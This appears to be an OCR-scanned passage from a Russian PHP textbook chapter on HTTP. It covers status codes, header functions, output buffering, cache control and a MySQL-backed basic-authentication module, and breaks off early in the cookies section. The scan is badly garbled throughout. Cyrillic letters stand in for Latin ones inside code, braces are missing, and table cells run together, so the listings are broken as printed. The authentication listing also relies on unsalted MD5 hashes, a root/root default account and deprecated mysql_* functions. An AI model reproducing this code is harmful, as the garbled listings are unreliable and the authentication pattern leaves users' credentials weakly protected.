218 Часть 1. Общие вопрос!,/ - ляется код состояния 302 - "ресурс временно перемещен ", иногда б ы вает полезно изменить код состоя ния на 301 - "ресурс перемещен ПОСТОЯНно" (л истинг 3.4). Л истинг 3.4. Изменение кода состояния <?php header ("Location : http : //ww w . softtime .biz/ .. ) ; heade r ("HTTP /1 .1 301 Moved Remanently") ; ?> Коды состояния разделяются на классы, каждый из которых начинается с новой сотн и: о 100- 199 - информационные коды состояния, сообщающие кл иенту, что сервер пребывает в процессе обработки запроса. Реакция кл иента на данные коды не требуется ; О 200-299 - коды успешного выполнения запроса. Получение дан ного кода ответа на запрос означает, что запрос успешно выполнен и в тел е присланного документа находится запрашиваемый документ, который можно передать пользовател ю; О 300-3 99 - коды переадресации, предназначенные для уведомлени я клиента о том, что для завершения запроса необходимо выполнить даль­ нейшие действия (как правило, перейти по новому адресу); О 400-499 - коды ошибочного запроса, отправляемые кл иенту, есл и сер­ вер не может обраб отать его запрос; О 500-5 99 - коды ошибок сервера, возникающих по вине сервера (как правило, из-за синтаксической ошибки в файле . l1taccess) . Не все коды состояния имеют смысл ; часть из них зарезервирована дл я даль­ нейших расширений. В табл . 3.2-3 .6 описываются коды состоя ния для про­ токола НТТР 1.1, используемого в настоящий момент для распространени я НТТР-страниц в сети Интернет. Та блица 3.2. Информа ционные НТТР-ко ды состояния НТТР-КОД О писа ние 100 Continue Сервер готов получить оставшуюся ч асть запроса
гл ава З. Протокол нпр -- .- - НТТР-КОД 1- - 1 01 Switching Pгotocols 219 Таблица 3.2 (окончание) О писа ние Сервер готов переключить протокол приложения на протокол , указанный в заголовке запроса Up­ gгade, предоставленного кл иентом. П ереключе­ ние должно выполняться , тол ько если указанный протокол имеет преимущество над старым, на­ пример, клиент может отп равить запрос, чтобы сервер использовал вместо текущего более но­ вый протокол НТТР Табл ица 3.3 . НТТР-коды успешного выполнения запроса НТТР-КОД О писа ние 200 0К Сервер успешно обработал запрос, и клиент может получить запрашиваемый документ в те- ле ответа 201 Cгeated Location Сервер успешно создал новый URL, заданный в НТТР-заголовке Locati on 202 Accepted Запрос принят сервером для обработки , но она еще не завершена 203 Non-Authoгitative Infoг- Метаинформация в заголовке запроса не связа- mation на с да нным сервером и скопирована с другого сервера 204 No Content Выполнение запроса завершено, но никакой информации отправлять обратно не требуется . Кл иент может продолжить просматри вать теку- щий документ 205 Reset Content Кл иент должен сбросить текущий'документ. Этот НТТР-заголовок можно использовать для сб роса и уда.ления всех значений полей ввода в НТМL-форме 206 Paгtial Content Сервер выполнил неполный запрос ресурса ме- тодом GEr. Этот НТТР-код используется для ответа на запросы , содержащие НТТР-заголовок Range. Сервер отправляет НТТР-заголовок Соп- tent-Range, чтоб ы указать , какой сегмент данных приложен
220 Часть 1. Общие вопрось/ Та блица 3.4. НТТР - коды переадресации НТТР -КОД Описание 300 Multiple Choices Запрашиваемый ресурс соответствует набору документов. Сервер может отп равить информа- цию о каждом документе с его собственным ме- сто положением и информацией по согласова- нию содержи мого, оста вляя выбор на усмотрение кл иента 301 Moved Регmапепtlу Запрашиваемый ресурс на сервере отсутствует. Для переадресации клиента на новый URL от- правляется НТТР-заголовок Lосаtiоп. Все по- следующие запросы кл иент должен отправлять на новый URL 302 Moved Te mporarily Запрашиваемый ресурс временно перемещен . Для переадресации кл иента на новый URL от- правляется НТТР-заголовок Location. В после- дующих запросах кл иент может продолжать ис- пользовать ста рый URL 303 See Other Запрашиваемы й ресурс найден в другом месте, его местоположение уточняется сервером при помощи НТТР-загол овка Location 304 Not Modified Сервер испол ьзует этот НТТР-код в соответст- вии с НТТР-заголовком If-Modified-Since. Это означает, что запрашиваемый документ не мо- дифици ровался с даты, определенной в НТТР- загол овке If-Modified-Since 305 Use Ргоху Для получения запрашиваемого ресурса клиент должен использовать прокси-сервер, адрес которо- го передается сервером в НТТР-заголовке Location 307 Тетрога гу Redirect Запрашиваемый ресурс временно перемещен в другое место. Для переадресации клиента на но- вый URL отп равляется НТТР-заголовок Location Та блица 3.5. НТТР-ко ды ошибочного запроса НТТР-КОД Описа ние 400 Bad Request В запросе кл иента обнаружена синтаксическая ошибка
гл ава з. Протокол нттр - НТТР-КОД 40 1 Unauthorized 402 Payment Required 40 3 Forbidden 404 Not Found 405 Method Not Allowed 406 Not AcceptabIe 407 Ргоху Authentification Required 408 Req uest Ti me-Out 409 Conflict 410 Gone 221 Табл uца 3.5 (продолжение) Описание Запрос требует аутентификации кл иента. Для уточнения типа ауте нтификации и области за- прашиваемого ресурса сервер отправляет НТТР-заголовок WWW-Authentificate Данный НТТР-код зарезервирован для будущего использования в электронной ко ммерции Доступ к запрашиваемому ресурсу запрещен. Кл иент не должен повторять этот запрос Запрашиваемый документ отсутствует на сервере Метод запроса , используемый кл иентом, непри- емлем . Сервер отправляет НТТР-заголовок AI- low, в кото ром уточняются допусти мые методы для получения доступа к запрашиваемому ре- сурсу Запрашиваемый ресурс недоступен в том фор- мате, кото рый может принимать клиент (клиент обы чно уточняет эти форматы в специальном НТТР-заголовке Accept) . Если запрос не являет- ся запросом НЕАD на получение лишь НТТР- заголовков с сервера без тела документа , то сервер может отправить заголовки Content- Lапguаgе, Content-Encoding и Content-Type, что - бы определ ить , какие форматы являются дос- туп ными Несанкционированный запрос доступа к прокси- серверу: клиент должен аутентифицировать себя на прокси-сервере. Сервер отправляет НТТР- заголовок Proxy-Authentificate со схемой аутенти- фикации и областью запрашиваемого ресурса Кл иент не завершил свой запрос за время ожи- дания запроса, заданное серверу, однако может повторить запрос Возник конфликт запроса кл иента с другим за- просом. Вместе с кодо м состояния сервер мо- жет переслать информацию о типе ко нфликта Запрашиваемый ресурс удален с сервера
222 Часть 1. Общие вопрось/ Табл ица 3.5 (окончание) НТТР-КОД Описа ние 41 1 Length Required Кл иент должен прислать в запросе НТТР-заголовок Content-Length 412 Precondition Filed Если запрос клиента содержит один или более НТТР-заголовков If . . . , сервер использует этот HTTP-КОд для оповещения, что одно или более условий, заданных в этих заголовках, не выпол- няются 41 3 Request Entity Тоо Large Сервер отказывается выполнять запрос: сл и ш- ком дл инное тело сообщений 414 Request-URI Тоо Long Сервер отказывается выполнять запрос: сл иш- ком дл инный URI (URL) 41 5 Unsupported Media Туре Сервер отказывается выполнять запрос: отсут- ствует поддержка формата тела сообщения 417 Expectation F ailed Сервер не смог выполнить требования НТТР-заголовка Expect Request Таблица З. б . НТТР - ко ды ошибочного запр оса НТТР-КОД Описа ние 500 Internal Server Еггог Ошибка конфи гу раци и сервера или внешней программы 501 Not Imрlеmепtеd Сервер не поддержи вает функции, требуемые для выполнения запроса 502 Bad Gateway Неверный ответ вышестоящего сервера или прокси-сервера 503 Service UпаvаilаЫе Служба временно недоступна. С целью опове- щения о времени открытия доступа к службе сервер может отп равить заголовок Retгy-After 504 Gateway Time-Out Шлюз или прокси-сервер временно заблокирован 505 НТТР Vегsiоп Not Не поддержи вается используемая клиентом Supported версия протокола НТТР
глава 3. Протокол нттр 223 - при работе с НТТР-заголовками следует помнить, что они всегда предваряют содерж и мое страницы. Вывод любой информации (при помощи ко нструкци и echo , функции print () ил и непосредственно вне тегов <?p hp и ?» В окно браузера приводит к тому, что начинается отправ ка НТТР-документа. Со­ гл ас н о протоколу, НТТР-загол овки отправляются перед тел ом документа, и п осл едую щие попытки отправить дополнительные заголовки заканчи ваются неудаче й. В л и стинге 3.5 перед тегом <?p hp расположен перевод строки, что также с читается началом документа. листинг 3.5 . Даже перевод строки перед функций header () бл окирует ее работу < ?php heade r ("Location : http: //ww w . so fttime.biz/'') ; // Ошибка ?> В результате переадресация не осуществляется, а функция header ( ) выводит п р едупреждение Warning: Cannot modify header information - headers already sent Ьу, сообщающее, что отправка НТТР-заголовка невозможна, по­ с кол ьку уже начата передача тела НТТР-документа. Иногда пробелы и пере­ воды строк могут быть расположены внутри файлов, включаемых при помо­ щи конструкций include () и require (). в ряде случаев нельзя быть заранее уверенным, отправлены НТТР-загол овки или все еще имеется возможность использовать функцию header ( ). Чтобы в ы я снить это, можно воспользоваться функцией headers sent ( ) , которая и м еет следующий синтаксис: bool headers_sent (&$file [, &$line ] ]) Функция возвращает false, есл и НТТР-заголовки не были отправлены кл и­ енту, и true - В противном случае . После отп равки НТТР-загол овков фун к­ ция при помощи необязател ьных аргументов $file И $Нпе может сообщить, в каком файле и строке было начата передача тела НТТР-документа. В л ис­ тинге 3.6 приводится пример работы функции. Листинг 3.6 . Использование функции headers_sent () <?php echo "Hello<br> "; if (!heade rs_sent ($filename , $linenum) )
224 Часть 1. Общие вопр ось/ header ('Location : http: / /www .softtime.biz/') ; exit ; else есЬо "Передача НТТ Р-документа начата в файле $filename в строке $linenum . Поэтому перенаправление на другой ресурс невозможно ."; exit ; ?> Иногда бывает полезно проконтрол ировать, какие НТТР-загол овки были от­ правлены кл иенту . Для этого удобно воспользоваться функци ей heade rs_l ist (), которая имеет следующий синтакс ис: array headers_list () Функция возвращает массив, содержащий отправленные клиенту НТТР­ заголовки. В листинге 3.7 приводится пример работы функции heade rs_l ist ( ); получаемый в результате ее работы массив для удобства восприятия выводится при помощи функции print_r () в тегах <pre> И </pre>, сохраняющих отступы и переводы строк. ЗА МЕЧА НИЕ в листинге 3.7 кл иенту отправляется произвольный НТТР-заголовок х -ту­ header со значением "Hello world ! " . Неста ндартные НТТР-заголовки , как правило, всегда предваряют префиксом Х- . Листинг 3.7 . Использова ние функции headers_l ist О <?рЬр ?> heade r ("X-my-header : He llo world! ") ; $arr = heade rs_l ist () ; есЬо "<pre> "; print_r ($arr) ; есЬо "</pre> ";
гл ава 3. Пр отокол нттр 225 - Резул ьтато м работы скрипта из листи нга 3.7 будет сл едующий дам п масс ива htTP-заголовков : Array [О] => X-Powered-By: РНР/5.1.2 [ 1 ] => X-my-heade r: Hello world ! Инте ресно отметить, что это не полный список НТТР-заголовков, которые получает клиент: это лишь те заголовки, которые отправляет РНР-скрипт. пом им о них клиент получает НТТР-заголовки, отправляемые Web-сервером . Полу чить полный список НТТР-заголовков к странице можно при помощи сокето в, как это будет показ ано далее в этой главе. 3.1 . 1. Буферизированный вывод в объемном проекте часто трудно проконтрол ировать все возможн ые ситуа­ ции, и рано или поздно отображение информации в окно браузера осуществ­ л я ется перед выполнением функции header (), что приводит К выводу преду­ п реждения: Warning: Cannot modify header information - headers already sent Ьу . Такая ситуация может возникнуть, например, при наличии случай но­ го пробела ил и како й-л ибо ошибки, которая ни разу не возникала в процессе тестирования. Не стоит и говорить, что вывод подобного предупреждения и с кажает дизайн сайта и выглядит непрофессионально. Конечно, можно по­ дав ить вывод сообщения, предварив функцию header () символом @ ил и от­ кл ючив вывод сообщений в окно браузера при помощи вызова функции e rror_reporting (О) , однако это лишь скроет предупреждение и не заставит с работать функцию header (). В ыходом из ситуации является буферизация вывода, при которой весь объем данных, выводимых в окно браузера, помещается в буфер и отправляетс я кл иенту тол ько тогда, когда скрипт завершает работу . Это позволяет безбо­ лез ненно выполнить все функции header () в теле скрипта, где бы они не на­ ходил ись . Самый просто й способ установить буферизацию вывода - воспользоваться ди рективой output_bu ffering ко нфигурационного файла php.ini, установив ее з начение равной Оп (листинг 3.8).
226 Часть 1. Общие вопрось/ - Листинг З.8 . Включение буферизации при помощи директивы outpu t_buffering output_bu ffering = Оп Однако настройки ко нфигурационного файла php.ini могут отл ичаться На разных серверах, поэтому при переносе приложения не стоит рассчиты вать на то, что директива output_b uffering окажется включенной (тем более что по умолчанию она принимает значение Off - отключена). К счастью, РНР предоставляет альтернативный способ управления буфери за­ ций вывода. Для этого предназначены функции группы управления выводом , список которых представлен в табл . 3 .7 . Табл ица З. 7. Функции упр авления выводом Фун кция О писа ние ob_c lean () Очищает буфер вывода ob_end_c lean ( ) Очищает буфер вывода и отключает буферизацию вывода оЬ_ end_ flush ( ) Отправляет буфер вывода кл иенту и откл ючает буферизацию вывода оЬ_ flush ( ) Отправляет буфер вывода кл иенту оЬ_get_ clean ( ) Возвращает текущее содержи мое буфера и удаляет текущий буфер ob_get_contents ( ) Возвращает содержи мое буфера вывода ob_get_ flush ( ) Очищает буфер, возвращая его содержи­ мое в виде строки , и отключает буфери­ зацию ob_get_length ( ) Возвращает размер буфера вывода ob_get_level ( ) Возвращает уровень вложения буфера ob_get_s tatus ( [$fUll_s tatus ] ) Возвращает статус буфера вывода в виде массива; если необязательный параметр $full_s tatus принимает значение true, возвращается более подробная инфор­ мация
(пава з. Протокол нттр - г­ ФУНКЦ ИЯ г- ob_g zhandler ( $buffer, $mode ) ob_ imp licit_flush ([$flag ]) оЬ start ([$output callback [, - $chunk_s ize [, $era se] ]]) output_add_rewrite_va r($name , $value ) 227 Та блица 3. 7 (окон чание) О писа ние Функция обратного вызова, кото рая используется функцией ob_s tart () дл я задания обработчика сжатия данных Включает (если значение параметра $flag устанавливается в 1) или выключа­ ет (есл и значение $flag устанавливается в О) неявную очистку буфера Возвращает список всех используемых обработчиков буферизации Включает буферизацию вывода; в качест­ ве параметра $output_callback может принимать название функции обратного вызова, кото рая задает обработчик. Не­ обязател ьный параметр $chunk_s ize за­ дает количество байт буфера, через кото­ рые будет осуществляться повторный вызов функции $output_callback. Если необязател ьный параметр $erase прини­ мает значение false, то буфер не будет удаляться после завершения работы скрипта Добавляет к URL, обнаруженным в буфере вывода, дополнительный GЕТ- параметр с именем $ п аmе И значени­ ем $value Уничтожает дополнительные GET- параметрbI, добавленные функцией output_add_r ewrite_va r() в листинге 3.9 приводится пример буферизации вывода при помощи функ­ ций из табл. 3.7. Листинг 3.9 . Буферизация вы вода <?php // Весь ВЫВОД направляем в буфер ob_ start () ;
228 ?> // Выв одим содержимое страницы echo "Hello world" ; // Отправляем НТТР-заголовок header ( "X-mу -hеаdе r: He llo world! ") ; // Отправляем содержимое буфера вывода клиенту ob_end_flush () ; Часть 1. Общие в опр ось/ - Несмотря на то, что функция heade r () используется после вывода текста в окно браузера, предупреждения Warning: Cannot modify header inforination - headers already sent Ьу не возникает, и НТТР-заголовок ус­ пешно отправляется клиенту . 3.1 .2. Размер и тип документа При загрузке объемного файла сервер обычно отправляет размер документа в байтах при помощи НТТР-заголовка Content-length. Это позволяет оцени ть объем загружаемого документа (файла), а таюке время, необходимое дл я его загрузки. Следует помнить, что Web-сервер способен вычисл ить тол ько раз­ мер статического файла, напри мер, изобра:жения, НТМL-страницы ил и zip­ архи ва. Дл я динамических файлов, таких как РНР-скрипт, отправка размера документа при помощи НТТР-заголовка Content-length ложится на плечи разработчика. Однако часто определить размер документа можно тол ько по­ сл е того, как скрипт завершает свою работу и клиенту отправлена значитель­ ная часть НТТР-документа. В такой ситуации удобно воспользоваться функ­ циями управления вывода, рассмотренными в предыдущем разделе. В листинге 3.1О представлен скрипт, формирующий объемный тексто вый файл, размер кото рого вычисляется при помощи функции ob_get_length () и отправляется клиенту при помощи НТТР-заголовка Content-length. Листинr 3.1 0. Формирование НТТР-эаrоловка Content-leng th <?php // Весь вывод направляем в буфер ob_s tart () ; // Выводим содержимое страницы for ($i = О; $i < 300000; $i++ ) echo "Ol\r\n" ;
гn ава з. Протокол нттр -- ?> J/ отправляем клиенту размер страницы / / в НТТ Р-заголовке Content-length header ("Content-length : ".оЬ_get_length () } ; / / Отпр авляем содержимое буфера вывода клиенту ob_ end_flush () ; 229 При загрузке скрипта из листи нга 3.1О Web-сервер и браузер интерпретируют его содержимое как НТМL-документ, который выводится в окно брауз ера. Посколь ку НТТР-заголовок Content-type, устанавливающий тип документа, в л и стинге 3.1О отсутствует, сервер назначает ему значение text /h trnl , И браузер интерпретирует такой документ по умолчанию как НТМL-страницу. Од нако такая интерпретация не всегда удобна: для объемных файлов было бы р азумнее предложить пользователю сохран ить его на жесткий диск, а для этого необходи мо явно изменить ти п файла. В листинге 3.1 1 при водится мо­ дифицированный вариант скрипта из листинга 3.10. ЗАМЕЧАНИЕ Подход, представленный в листи нге 3.1 1 , может использоваться для за­ грузки файлов любых типов: тексто вых документов, изображений и т. п., для которых требуется сохранение файла на жесткий диск, а не инте рпре­ тация его браузером. Листинг 3.1 1. Изменение типа файла <?php // Весь вывод направляем в буфер ob_s tart (} ; // Выв одим содержимое страницы for ($i = О; $i < 300000; $i++ } echo "Ol<br>" ; // Задаем имя, которое будет предложено // клиенту для сохранения файла hеаdеr ("Сопtепt-Disроs itiоп : attachrnent ; filenarne=text .txt "} ; // В каче стве типа файла задаем бинарный п оток hеаdеr ( "Сопtепt-tуре : application/octet-strearn" }; / / Отправляем клиенту, размер страницы / / в НТТ Р-заголовке Content -length
230 Часть 1. Общие вопр ось, ?> hеаdеr ("Сопtепt -lепgth : ".ob_g et length() ); // Отправляем содержимое буфера вывода клиенту ob_end_flush () ; Рис. 3.2 . Предложение сохранить файл вместо отображения его содержи мого в окне браузера Рис. 3 .3 . Есл и НТТР-за гол овок Content-length отсутствует, размер з а гружа емого файла не указывается -
гл ава 3. Протокол нттр - 231 в качестве типа документа в НТТР-загол овке Content -type указывается зна­ ч ение app lication/octet-stream, соответствующее бинарному потоку . За­ голов ок c ontent-Dispos ition позволяет задать имя файла, в дан ном случае text .txt. В результате загрузки страницы со скриптом из листинга 3.11 на эк­ ран посетителя будет выведено окно, представл енное на рис. 3.2 . при этом если в листинге 3.1 1 будет случ айно ил и умышленно пропущен НТТР-заголовок, то размер загружаемого файла не отобразится (рис. 3.3). 3.1.3. П ода вление кэ ш ирова ния Механизм кэширования применяется с цел ью опти мизации пересылки дан­ н ых м ежду клиентом и сервером. Запрошенный пользователем по НТТР­ прото колу документ может быть сохранен в кэше промежуто чного сервера или браузера, и при повторном его запросе будет выдаваться без обраще ния к исто чнику. Кэш и принято подразделять на два вида: локальные и гл обальные. Локаль­ ны й кэш создается браузером клиента, тогда как гл обальный располагается на прокси-сервере провайдера (или организации, в которой имеется свой внутренний прокси-сервер). ЗА МЕЧАНИЕ Прокси-сервером, в отличие от обычного се рвера, предоставляющего дос­ туп к какому-либо ресурсу, называют сервер-посредник, распол оженный между кл иентом и обычным сервером . В отлич и е от шл юз-сервера, осуще­ ствляющего обычное транслирование запросов кл иента и ответо в сервера , в задачи прокси -сервера входит предоста влени е допол н ител ьных услуг, та ­ ких ка к ' преобразовани е медиатипа, анонимная фил ьтраци я, сжатие прото­ кола, кэширование и др. в большинстве случаев кэширован ие позволяет ускорить работу с Интернетом и значительно снизить трафик, но иногда кэ ширование может мешать работе Web-приложениЙ. Если посетители часто загружают страницы Web-сайта с редко изменяющейся информацией, такой как расписание пригородного транспорта, кэширование полезно, поскольку экономит трафик и сокращает в ремя выполнения запроса. Есл и же посетитель загружает динамические стра­ н ицы, например, активного форума, кэширование, без сомнения, вредно, по­ с кольку содержимое таких страниц меняется слишком часто, и посетитель вы­ нужден будет постоя нно вручную обновлять содержимое страницы.
232 Часть 1. Общие вопросы Для подавления кэширования можно использовать НТТР-заголовки, пред_ ставленные в листинге 3.12. ЗАМЕЧА НИЕ К сожалению, в последнее время кэ ширующие прокси-серверы настраива­ ются крайне агрессивно. Дело в то м, что динамические страницы, создан­ ные, например, при помощи РНР, вообще не должн ы подвергаться кэши ро­ ванию. Однако сплошь и рядом набл юдается обратное. Более того , ряд кэ ширующих серверов игнорируют НТТР-загол овки , подавляющие кэши ро­ вание. В этом случае разработч ику ничего не остается делать , ка к доба в­ лять к URL GЕТ- параметр со случайно сгенерированным значением. ЛИСТИНГ 3.12. Подавление кэширова ния <?php ?> // любая дата в прошлом header ( "Expires : Моп , 23 Мау 1995 02 :00:00 GMT" ) ; header ("Last-Modified : ".gmdate ("о , d М у Н:i:s") ." GIO ") ; heade r ("Cache-Control : no-cache , mu st-, rev alidat e") ; header ("P ragma : no-cache") ; НТТР-заголовок Expires задает дату, по достиже нию которой документ счи ­ тается устаревшим, поэтому задание для этого загол овка уже прошедшей да­ ты предотвр ащает кэширование данной страницы. НТТР-загол овок Last-Modi fied определяет дату последнего изменения Web­ страницы. Есл и с момента последнего обращения к ней прокси-сервера зна­ чение параметра этого заголовка изменилось, происходит повторная загруз ка страницы, поэтому присвоение этой директиве текущего времени при каж­ дом обращении предотвращает кэширование. НТТР-заголовок Cache-Cont rol предназначен дЛя управления кэ шированием , и указание его значения равным no- cache также приводит к запрету кэширо­ вания. В устаревшем стандарте НТТР 1.0 для запрета кэширования нужно присвоить значение no-cache НТТР-заголовку Pragma . Для того чтобы сообщить промежуто чному прокси-серверу о том, что да н­ ный документ можно кэшировать, НТТР-заголовку Cache-control следует передать значение public. Есл и информация не предназначена для публи ч­ ных кэш-серверов и может быть сохранена только в локальном кэше браузе-
гл ава З. Протокол н ттр - 2ЗЗ ра, НТТР-заголовку Cache-cont rol следует передать значен ие private (л ис­ тинг 3 .13). л истинг 3.1З. Кэширование документов <?php header ("C ache-соnt rоl : publ ic" ); heade r ("Cache-control : private ") ; ?> Есл и содержимое страницы обновляется с определенной регулярностью, за­ дать период обновления можно путем передаче НТТР-загол овку Cache­ c o nt r ol параметра ma x-age. Данный параметр определяет кол ичество секунд, определяющее время жизни копии страницы в кэше. В листинге .з .14 скрипт соо бщает, что страница может храниться на промежуточном прокси-сервере 1 час. л истинг 3.14. Упра вление временем кэширования документа < ?php ?> header ("C ache-соntrоl : publ ic" ); header ("Cache-соntrоl : max -аgе=З 600 " ); Для управления кэ шем в РНР предусмотрено две специальные функции: ses sion_c ache limi ter () И sessio n_c ache_expire (). ЗАМЕЧАНИЕ Вообще в РНР достаточно много функци й, кото рые берут на себя форми­ рование и отправку НТТР-заголовков ( session_c ache limiter (), session_c ache_exp ire (), setcookie (), session_s tart () И т. п.) . При отсутствии буфери зации (см . разд ел 3. 1. 1) использование таких функци й п осле вывода ка кой-либо информации в окно браузера приводит к появле­ нию предупреждения: Wa rning: Cannot mod ify header information - headers already sent Ьу. Функция session_c ache_l imiter () возвращает и/ил и устан авл ивает ограни­ че н ие кэширования и имеет следующий синтаксис: st ring session cache limiter ([$cache_limiter] )
234 Часть 1. Общие вопрось/ - Дан ная функция возвращает одну из следующих строк, определяющих о гра_ ничение кэширования : О попе - отсутств ие каких-л ибо ограничений, НТТР-загол овок Cache _ cont rol не отправляется ; О nocache - подавление кэ ширования; О private - НТТР-заголовок Cache- control получает значение " private " , соответствующее кэ шированию на уровне брауз ера посетителя; о private_no_e xp ire - режим аналогичный private, за исключением то­ го, что клиенту не отсылается НТТР-заголовок Expires, который может вызывать неоднозначность в браузерах, построенных на движке Mozi lla; О public - НТТР -заголовок Cache- cont rol получает значение " publ i C " , соответствующее кэ шированию на уровне прокси-серверов. Есл и определ ен необязател ьный параметр $cache_l imiter, то текущее зна­ чение ограничителя заменяется на новое. В листинге 3.15 приводится пример испол ьзования функции session_ca che_l imiter (). Листинг 3.15. Использование фун кции эеээ�оn_cache_l im� ter () <?php ?> // Получаем текущее значение ограничения $cache_l imiter_fst = session_ cache_l imi ter() ; // Устанавли ваем ограничение кэша в 'pub lic ' sеssiоп_сасhе_l imi tеr ('рubliс '); // Получаем текущее значение ограничителя // Выводим отчет echo "Ограничение на кэш изменено ". "с $cache_l imiter_fs t на $cache_l imiter sпd" ; Результатом работы скрипта из листи нга 3.15 будет следующая строка: Ограничение на кэш изменено с nocache на public Функция sеssiоп_с асhе_ехр irе () возвращает и/или устанавливает текущее время жизни НТТР-документа в кэше и имеет следующий синтаксис:
гл ава 3. Пр отокол нттр - 235 Необя зательный параметр $new_c ache_exp ire определяет время жизни доку­ ме нта в кэ ше в минутах (по умолчанию этот п араметр равен 180). Есл и вызов функци и session_c ache_expire () осуществляется с параметром $ пеw_ сасhе_ехрirе, то текущее время жиз ни (180 минут) заменяется на значе­ ние, переданное в этом параметре (листи нг 3.16). листинг 3.16. Использование функции session_cache_exp� re () <?php ?> / / Устанавливаем время жизни кэша , равное 30 минутам $ cache expire = session_cache_expire (30*60) ; echo $cache_exp ire 3 . 1.4 . Базовая аутентификация Web-сервер позволяет защитить страницу при помощи базовой ауте нтифика­ ции - пока пользователь не введет правильные ЛQГИ Н и п арол ь, он не будет до пущен к страницам сайта (рис. 3.4). Рис. 3 .4 . Базовая аутентификация
236 Часть 1. Общие вопрос/,/ - Обычно такой вид аутентификации задается при помощи конфигурационн ых файлов .htaccess и .htpasswd, однако это не всегда удобно, так как добавле Ние нового пользователя требует редактирования файла паролей .I1tpasswd . Создадим систему базовой ауте нтификации, логин и пароль для кото рой бу.­ дет храниться в таблице userslist (л истинг 3.17). Листинг 3.1 7. Таблица userslist CREATE TAВLE userslist ( ); id_user INT (11) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , разз TINYTEXT NOT NULL , PRIМARY КЕУ (id_user) INSERT INTO users list VALUE S (NULL , 'root ', MD5 ('root' )); Каждая запись таблицы userslist состоит из трех полей: О id user- первичный ключ таблицы, обладающий ат рибуто м АО ТО_ INCREMENT; О пате - имя пользователя; О разз - пароль пользователя. Для реал изации базовой ауте нтификации браузеру кл иента необходи мо по­ слать следующие НТТР-заголовки: WWW-Authent icate : Bas ic realm= "Admin Page " НТТР/1.0 401 Unauthorized Именно они приводят к выводу формы для ввода логина и пароля, представ­ ленной на рис. 3 .4. Имя пользователя будет помещено сервером в элемент суперглобального массива $ SERVER [ , РНР_АОТН_USER ' ] , а парол ь в $_SERVER ['PHP_AUTH_PW ']. ЗАМЕЧАНИЕ Элементы суперглобального массива $_SERVER [ ' РНР_АОТН_USER '] и $_ SERVER [ , РНР_АОТН_ PW '] доступны только в том случ ае, есл и РНР уста­ новлен в качестве модуля, а не СGI-приложения. Для удобства код ауте нтификации удобно выдел ить в отдел ьный файл security_mod.php, включение которого при помощи директи в ы requi re_опсе () будет приводить к защите страницы паролем (листинг 3.18).
гла ва 3. Протокол нпр - Лt1стинr 3.18. Файл security_mod.php <?phP / / Ус танавлив аем соединение с базой данных requi re_once ("c onfig .php" ) ; / / Если поль зователь не автори зовался - авторизуемся i f (!isset ($_SERVER ['PHP_AUTH_U SER '])) Header ( "WWW-Аuthепt iсаtе : Bas ic realm=\ "Admin Page \"") ; Heade r ("НТТР/1 . О 401 Unautho rized" ); exit () ; e 1se // Пр оверяем переменные $_SERVER ['PHP_AU TH_U SER '] // и $_SERVER ['PHP_AUTH_PW '], чтобы предотвратить // SQL-инъекцию if (!get_m agic_quo tes_gpc () ) 237 $_SERVER ['PHP�UTH_USER' ] my sq1_escape_s tring ( $_SERVER ['PHP_AU TH_U SER ']); $_SERVER ['PHP_AU TH_PW '] = my sq1_escape_s tring ( $_SERVER ['PHP_AUTH_PW ']); $query = "SELECT pas s FROM userlist WНERE пате= ' { $_SERVER [РНР_AUTH_USER] ) , " ; $lst = @mysql_que ry ($query) ; // Если найдена ошибка в SQL-запросе - // открыв аем диалоговое окно ввода пароля if(!$lst) Header ( "WWW-Аuthепt iсаtе : Bas ic rea1m=\"Admin Page \"") ; Heade r ("НТТР/1.О 401 Unautho rized" ); exit () ; // Если такого поль зователя нет - // открываем диалоговое окно ввода пароля
238 Часть 1. Общие вопр ос,,/ -- ?> ) О) Header ( "WWW-Аuthепtiсаtе : Bas ic realm=\ "Admin Page \"") ; Header ("HTTP/1 .0 401 Unauthorized" ); exit (); // Е сли все проверки пройдены, сравниваем хэши паролей $pass = @mysq1 fetch_a rray ($lst) ; if (md5 ( $_SERVER ['PHP_AU TH_PW ']) != $pass ['p ass ']� Header ( "WWW-Аuthепt iсаtе : Bas ic rea1m=\"Admin Page \"") ; Heade r ("HTTP/1 .0 401 Unauthori zed" ); exit () ; Как видно из листинга, при неудач ной авторизации кл иенту отп равляется повторное приглашение дл я ввода пароля : WWW -Authent icate : Bas ic rea1m= "Admin Page " НТТ Р /1 .0 401 Unauthorized Далее работа скрипта останавл ивается при помощи функции exit (). Допол ­ нител ьно можно реализовать огран ичение кол ичества попыток ввода пароля. Для это го достаточно вместо приведенных выше НТТР-заголовков послать заголовок "Страница не найдена" : НТТР /1 .0 404 Not Found После того как модул ь защиты sесшity_шоd .рhр создан , его можно включить перед загруз ко й защищаемых страниц при помощи директи в ы requi re _опсе () (л исти нг 3.19). Листинг 3.19. Защита стра ницы <?php ?> // Модуль безопасности require_once ("security_rn od .php " ); // Далее идут данные страницы, к которой необходимо получить доступ
гла ва 3. Пр отокол нттр :.:- -- 3.2. Сессии и cookie 239 НТТР- п ротокол , лежащий в основе сети Интернет, не сохраняет информации о с остоянии сеанса. Это означает, что любое обращение кл иента сервер вос­ п ри н и мает как обращение нового кл иента, и даже есл и кл иент формирует зап ро с дл я загрузки картинок с текущей страницы, сервером он воспринима­ ется как запрос нового кл иента, никак не связанного с те м, который тол ько чТО з агруз ил страницу. Данная схема достаточно хорошо работала для стати­ ческих страниц, но стала совершенно неприемлемой для динамических. В связ и с этим в протокол НТТР были введены механизмы сессий и cookie, кото рые в настоящий момент поддерживают все участн и ки Интернета : кли­ енты, прокс и-серверы и ко нечные серверы. 3.2 .1. Работа с cookie Cookies - это небольшие файл ы, сохраняемые просматриваемыми сервера­ М И на машине посетителя и содержащие тексто вую информацию о настрой­ ках пол ьзователя, доступную для считывания создав шему их серверу. Дл я создания cookie предназначена функция setcookie (), которая имеет сл едующий синтаксис: bool setcookie ($name [, $value [ , $expire [, $path [, $dorna iri [, $secure ] ]]]]) Функция принимает сл едующие аргументы : О $name - имя cookie; о $va lue - значение, хранящееся в cookie с именем пате ; О $expire - время в секундах с 1 января 1970 года. По истечении этого врем ени cookie удаляется с машины кл иента; О $path - путь , по которому доступен cookie; О $doma in - домен, из которого доступен cookie; О $secure - директива, определяющая, доступен ли файл cookie по защи­ щенному протоколу HTPPS. По умолчанию эта директива имеет значение О, что означает возможность доступа к cookje по стандартному незащищен­ ному протоколу НТТР.
